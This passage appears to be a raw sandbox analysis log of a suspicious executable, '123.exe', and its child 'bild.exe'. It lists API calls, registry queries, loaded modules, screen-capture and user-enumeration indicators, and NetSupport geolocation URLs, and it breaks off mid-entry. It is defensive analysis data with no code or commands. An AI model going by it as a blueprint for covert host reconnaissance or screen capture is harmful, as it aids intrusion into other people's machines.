1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000009eaf4b03b2af4b03 (UID: 00000000-00001540) "123.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000ced44b03e6d44b03 (UID: 00000000-00001540) "123.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000006ed44b0384d44b03 (UID: 00000000-00001540) "123.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000009ed84b03b6d84b03 (UID: 00000000-00001540) "123.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000004eef4b0366ef4b03 (UID: 00000000-00001540) "123.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001540) "cmd.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006244)2c:T2169,"123.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000003809290300000000b0e4170159169f770100000008000000010000000000400300000000100000000000000000000000020000000200000000004003010000000800000000000000d0e41701ee139f7701000000ee139f7708000000000000000800000016e3d29a08e71701ad9ca273000040030800000001000000 (UID: 00000000-00001540) "bild.exe" called "GetVersionExA" with parameter 9c0000000600000002000000f02300000200000000ffffff24000000f0f6cd00040000002000000096125ae334f9cd00588ac5758d5b4a682010d1005d372c030030f600c95bd86300000011009039000000000188008a0024f7cd005c004400650076006900630065005c0048006100720064006400690073006b0056006f006c0075006d00650032005c005500730065007200 (UID: 00000000-00006604) "bild.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006604) "bild.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000c00000000002c03a0f5cd000000000000000000000000000000000000000000d007010318000000000000000300000000000103f52e18a3a6005072f806cd000a00000068d32e0330c42e0303000000000000002000000000000103c40101033c09010300000000380901031400000098f5cd00 (UID: 00000000-00006604) "bild.exe" called "GetVersionExA" with parameter 940000000600000002000000f023000002000000008b0611cc247c05e4247c0595c81e36cc247c050000000050f2cd000015061178fe19118d90191194f2cd00100000000400000094f2cd004c021a110100000070f2cd00ee2c061178fe19118d90191194f2cd00100000000000000004000000a8f2cd003fdd051178fe19118c90191194f2cd0010000000b7775592e0f5cd00 (UID: 00000000-00006604) "bild.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000d67573405a7573c0907573b0da7573b0da757370db757340917573c05a7573305b7573b05b7573c05b7573206075733060757340607573108f75730000000000677573e07a7573f0f0757310e57573b058767300000000307b757300000000506176737061767330617673905c767300be757300000000ffffffffb0f2cd00 (UID: 00000000-00006604) "bild.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000018000000e99ca077a38350720000df0500000000b0ffdf0540b150727664cdecfeffffff80eedf059f364f720000000040d0e475ae364f7200000000000000000000000000000000000000000000000046ce1e3600000000 (UID: 00000000-00006604) "bild.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000018000000e99ca077a38350720000df0500000000b0ffdf0540b150727664cdecfeffffff80eedf059f364f720000000040d0e475ae364f72000000000000000000000000000000000000000000000000a0cf1e3600000000 (UID: 00000000-00006604) "bild.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000018000000e99ca077a38350720000df0500000000b0ffdf0540b150727664cdecfeffffff80eedf059f364f720000000040d0e475ae364f720000000000000000000000000000000000000000000000009ed01e3600000000 (UID: 00000000-00006604) "bild.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000018000000e99ca077a38350720000df0500000000b0ffdf0540b150727664cdecfeffffff80eedf059f364f720000000040d0e475ae364f720000000000000000000000000000000000000000000000008bd11e3600000000 (UID: 00000000-00006604) "bild.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000000000100c010300000000c0e6cd0059169f7701000000080000000100000000002c0300000000100000000000000000000000020000000200000000002c03010000000800000000000000e0e6cd00ee139f7701000000ee139f77080000000000000008000000c9dbd5a318e9cd00ad9c107300002c030800000001000000 (UID: 00000000-00006604) "bild.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000038847354000000f80135030000000000000000200000000000000000000000b87a83730000000000000000000000000000000000000000000000006868837300000000000000000000000000000000000000000000000000000000000000000060f60000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006604) "bild.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000000000000000000000000000000000000000000c0000000000000000000000000000004065847302000000ea5814110000000000000000f8013503481483730000000000000000000000000001000080eecd00bf2a9f774d339f77de64dfe9b40100000000f004d0eecd000000000000000000000000000000000002000002 (UID: 00000000-00006604) "bild.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000018000000e99ca077a38350720000df0500000000b0ffdf0540b150727664cdecfeffffff80eedf059f364f720000000040d0e475ae364f7200000000000000000000000000000000000000000000000088d21e3600000000 (UID: 00000000-00006604) "bild.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000018000000e99ca077a38350720000df0500000000b0ffdf0540b150727664cdecfeffffff80eedf059f364f720000000040d0e475ae364f7200000000000000000000000000000000000000000000000085d31e3600000000 (UID: 00000000-00006604) "bild.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000018000000e99ca077a38350720000df0500000000b0ffdf0540b150727664cdecfeffffff80eedf059f364f720000000040d0e475ae364f7200000000000000000000000000000000000000000000000082d41e3600000000 (UID: 00000000-00006604) "bild.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000018000000e99ca077a38350720000df0500000000b0ffdf0540b150727664cdecfeffffff80eedf059f364f720000000040d0e475ae364f72000000000000000000000000000000000000000000000000e4d51e3600000000 (UID: 00000000-00006604) "bild.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000018000000e99ca077a38350720000df0500000000b0ffdf0540b150727664cdecfeffffff80eedf059f364f720000000040d0e475ae364f72000000000000000000000000000000000000000000000000e1d61e3600000000 (UID: 00000000-00006604) "bild.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000018000000e99ca077a38350720000df0500000000b0ffdf0540b150727664cdecfeffffff80eedf059f364f720000000040d0e475ae364f72000000000000000000000000000000000000000000000000ded71e3600000000 (UID: 00000000-00006604) "bild.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000018000000e99ca077a38350720000df0500000000b0ffdf0540b150727664cdecfeffffff80eedf059f364f720000000040d0e475ae364f72000000000000000000000000000000000000000000000000cbd81e3600000000 (UID: 00000000-00006604) "bild.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000018000000e99ca077a38350720000df0500000000b0ffdf0540b150727664cdecfeffffff80eedf059f364f720000000040d0e475ae364f72000000000000000000000000000000000000000000000000c8d91e3600000000 (UID: 00000000-00006604) "bild.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000018000000e99ca077a38350720000df0500000000b0ffdf0540b150727664cdecfeffffff80eedf059f364f720000000040d0e475ae364f72000000000000000000000000000000000000000000000000c6da1e3600000000 (UID: 00000000-00006604) "bild.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000018000000e99ca077a38350720000df0500000000b0ffdf0540b150727664cdecfeffffff80eedf059f364f720000000040d0e475ae364f72000000000000000000000000000000000000000000000000c3db1e3600000000 (UID: 00000000-00006604)2d:T6af,Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; File: "123.exe") Found reference to API "GetLocaleInfoA" (Indicator: "GetLocaleInfo"; File: "123.exe") Found reference to API "EnumSystemLocalesA" (Indicator: "EnumSystemLocales"; File: "123.exe") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; File: "123.exe") Found reference to API "10058504904,7488,3150,,GetLocaleInfoW,kernel32.dll,"00:27:35.828",RX=0,PX=0" (Indicator: "GetLocaleInfo"; Source: "00000000-00006604.00000000.106018.032C0000.00000004.mdmp, 00000000-00006604.00000001.107938.032C0000.00000004.mdmp, 00000000-00006604.00000002.109859.032C0000.00000004.mdmp") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; Source: "00000000-00006604.00000000.106018.73790000.00000002.mdmp, 00000000-00006604.00000001.107938.11193000.00000002.mdmp, 00000000-00006604.00000002.109859.738D1000.00000020.mdmp") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; Source: "00000000-00006604.00000000.106018.73790000.00000002.mdmp, 00000000-00006604.00000001.107938.11193000.00000002.mdmp, 00000000-00006604.00000002.109859.738D1000.00000020.mdmp") Found reference to API "GetLocaleInfoA" (Indicator: "GetLocaleInfo"; Source: "00000000-00006604.00000000.106018.73790000.00000002.mdmp, 00000000-00006604.00000001.107938.11193000.00000002.mdmp, 00000000-00006604.00000002.109859.738D1000.00000020.mdmp") Found reference to API "EnumSystemLocalesA" (Indicator: "EnumSystemLocales"; Source: "00000000-00006604.00000000.106018.73790000.00000002.mdmp, 00000000-00006604.00000001.107938.11193000.00000002.mdmp, 00000000-00006604.00000002.109859.738D1000.00000020.mdmp")2e:T42e,"123.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "reg.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "bild.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED")2f:T8b0,Found reference to API "ExpandEnvironmentStringsW" (Indicator: "ExpandEnvironmentStrings"; File: "123.exe") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; File: "123.exe") Found reference to API "ExpandEnvironmentStringsA" (Indicator: "ExpandEnvironmentStrings"; File: "123.exe") Found reference to API "GetUserObjectInformationA" (Indicator: "GetUserObjectInformation"; File: "123.exe") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00006604.00000000.106018.73790000.00000002.mdmp, 00000000-00006604.00000001.107938.11193000.00000002.mdmp, 00000000-00006604.00000002.109859.738D1000.00000020.mdmp") Found reference to API "GetNativeSystemInfo" (Indicator: "GetNativeSystemInfo"; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found reference to API "GetMonitorInfoA" (Indicator: "GetMonitorInfo"; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found reference to API "RtlNtStatusToDosError" (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found reference to API "WTSRegisterSessionNotification" (Indicator: "WTSRegisterSessionNotification"; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found reference to API "ExpandEnvironmentStringsForUserA" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found reference to API "NSMPlatformNT-ExpandEnvironmentStringsForUser(%s)" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found reference to API "ExpandEnvironmentStringsA" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp, 00000000-00006604.00000002.109859.738D1000.00000020.mdmp") Found reference to API "GetUserObjectInformationA" (Indicator: "GetUserObjectInformation"; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp, 00000000-00006604.00000002.109859.738D1000.00000020.mdmp")30:Tc92,"bild.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "bild.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "bild.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "SEARCHLIST"; Value: "") "bild.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "bild.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "bild.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "bild.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "bild.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "NAMESERVER"; Value: "") "bild.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "PROFILENAMESERVER"; Value: "") "bild.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPNAMESERVER"; Value: "") "bild.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "SEARCHLIST"; Value: "") "bild.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "bild.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "bild.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "bild.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "bild.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "NAMESERVER"; Value: "") "bild.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "PROFILENAMESERVER"; Value: "") "bild.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPNAMESERVER"; Value: "")31:T16b6,"123.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001540) "123.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001540) "123.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001540) "123.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001540) "123.exe" called "LoadLibrary" with a parameter HTTP/1.1 200 OK Date: Sat 16 Nov 2024 13:04:57 GMT Content-Type: text/html; Charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive CF-Ray: 8e37b0952d88ebe5-SJC CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: private Set-Cookie: ASPSESSIONIDSSBQDBCQ=LKCLHFBAMFEKMFMGCIFFFIPA; path=/ Strict-Transport-Security: max-age=31536000; includeSubDomains Vary: Accept-Encoding cf-apo-via: origin host Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=j0EB1hp5XebYIlwZ%2FJop%2BTxdjNt23RhhuumcsvK1slrSwD%2BXg%2F6aVZHSpp5%2Fx5DBlBnkPZNbaDTak1LugAWmlsOfr3Eiroq4E7LpIMRsj2F8eYy%2BD2fEwOedRBJDFG2sY5AyMuU2kYmKc0k4"}] "group":"cf-nel" "max_age":604800} NEL: {"success_fraction":0 "report_to":"cf-nel" "max_age":604800} Server: cloudflare server-timing: cfL4;desc="?proto=TCP&rtt=1548&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=118&delivery_rate=0&cwnd=30&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" with response body ==>31300D0A33372E333338372C2D3132312E3838350D0A.......38:T2039,"123.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 75b50000 "123.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 75b50000 "123.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 75b50000 "123.exe" loaded module "KERNEL32" at base 75de0000 "123.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73b30000 "123.exe" loaded module "192.168.0.2" Potential IP "0.0.0.0" found in string "CLIENT_IP_ADDRESS=0.0.0.0" "127.0.0.1" Potential IP "127.0.0.1" found in string ">127.0.0.1:%d" "225.16.8.68" Potential IP "127.0.0.1" found in string "http://127.0.0.1" "8.7.0.0" "10.21.0.0" "0.0.0.0"46:Tc35,Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006604.00000000.106018.032C0000.00000004.mdmp") Found URL "http://geo.netsupportsoftware.com/location/loca.aspgeo.netsupportsoftware.comhttp://geo.netsupportsoftware.com/location/loca.asplmem(lmem(\l" - Source: "00000000-00006604.00000000.106018.033AD000.00000004.mdmp") Found URL "http://geo.netsupportsoftware.com/location/loca.asphttp://geo.netsupportsoftware.com/location/loca.aspc:\users\hapubws\appdata\local\microsoft\windows\inetcache\ie\lscby323\loca[1].htm:fffdlmemlmemlmemlmemlmemlmemlmemlmemlmemlmemlmemlmemlmemplmem(lmem-121.885clmemlmemlmemlmemlmemlmemlmemlmemlmemlmemlmemlmemlmemlmemlmemlmemu" - Source: "00000000-00006604.00000000.106018.07C35000.00000004.mdmp") Found URL "http://%s/fakeurl.htm" - Source: "00000000-00006604.00000000.106018.73790000.00000002.mdmp") Found URL "http://%s/testpage.htmwininet.dllcontent-length:http/sendernclen" - Source: "00000000-00006604.00000000.106018.73790000.00000002.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006604.00000001.107938.032C0000.00000004.mdmp") Found URL "http://geo.netsupportsoftware.com/location/loca.aspgeo.netsupportsoftware.comhttp://geo.netsupportsoftware.com/location/loca.asplmem(lmem(\l" - Source: "00000000-00006604.00000001.107938.033AD000.00000004.mdmp") Found URL "http://https://" (Indicator: "GetDC"; Source: "00000000-00006604.00000000.106018.032C0000.00000004.mdmp, 00000000-00006604.00000001.107938.032C0000.00000004.mdmp, 00000000-00006604.00000002.109859.032C0000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00006604.00000000.106018.032C0000.00000004.mdmp, 00000000-00006604.00000001.107938.032C0000.00000004.mdmp, 00000000-00006604.00000002.109859.032C0000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00006604.00000000.106018.032C0000.00000004.mdmp, 00000000-00006604.00000001.107938.032C0000.00000004.mdmp, 00000000-00006604.00000002.109859.032C0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00006604.00000000.106018.032C0000.00000004.mdmp, 00000000-00006604.00000001.107938.032C0000.00000004.mdmp, 00000000-00006604.00000002.109859.032C0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00006604.00000000.106018.032C0000.00000004.mdmp, 00000000-00006604.00000001.107938.032C0000.00000004.mdmp, 00000000-00006604.00000002.109859.032C0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00006604.00000000.106018.032C0000.00000004.mdmp, 00000000-00006604.00000001.107938.032C0000.00000004.mdmp, 00000000-00006604.00000002.109859.032C0000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00006604.00000000.106018.032C0000.00000004.mdmp, 00000000-00006604.00000001.107938.032C0000.00000004.mdmp, 00000000-00006604.00000002.109859.032C0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00006604.00000000.106018.032C0000.00000004.mdmp, 00000000-00006604.00000001.107938.032C0000.00000004.mdmp, 00000000-00006604.00000002.109859.032C0000.00000004.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00006604.00000000.106018.73790000.00000002.mdmp, 00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found reference to API "GetDIBits ret %d lines" (Indicator: "GetDIBits"; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found reference to API "BitBlt(Default) failed, e=%d, trying scrapeApp" (Indicator: "BitBlt"; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found reference to API "GetWindowDC" (Indicator: "GetWindowDC"; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found reference to API "BitBlt" (Indicator: "BitBlt"; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp")4b:T716,Found reference to API "RegOpenKeyExW" (Indicator: "RegOpenKey"; File: "123.exe") Found reference to API "RegQueryValueExW" (Indicator: "RegQueryValue"; File: "123.exe") Found reference to API "RegEnumValueA" (Indicator: "RegEnumValue"; File: "123.exe") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; File: "123.exe") Found reference to API "RegQueryInfoKeyW" (Indicator: "RegQueryInfoKey"; File: "123.exe") Found reference to API "RegEnumKeyExA" (Indicator: "RegEnumKey"; File: "123.exe") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; File: "123.exe") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; File: "123.exe") Found reference to API "RegOpenKeyTransactedA" (Indicator: "RegOpenKey"; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found reference to API "RegOpenKeyTransactedA" (Indicator: "RegOpenKeyTransacted"; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found reference to API "RegEnumValueA" (Indicator: "RegEnumValue"; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found reference to API "RegEnumKeyExA" (Indicator: "RegEnumKey"; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found reference to API "RegQueryInfoKeyW" (Indicator: "RegQueryInfoKey"; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp")4c:Tf2d,Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; File: "123.exe") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "123.exe") Found reference to API "GetUserNameW" (Indicator: "GetUserName"; File: "123.exe") Found reference to API "LookupAccountSidA" (Indicator: "LookupAccountSid"; File: "123.exe") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; File: "123.exe") Found reference to API "NetUserEnum" (Indicator: "NetUserEnum"; File: "123.exe") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; File: "123.exe") Found reference to API "GetUserObjectInformationA" (Indicator: "GetUserObjectInformation"; File: "123.exe") Found reference to API "GetUserObjectSecurity" (Indicator: "GetUserObjectSecurity"; File: 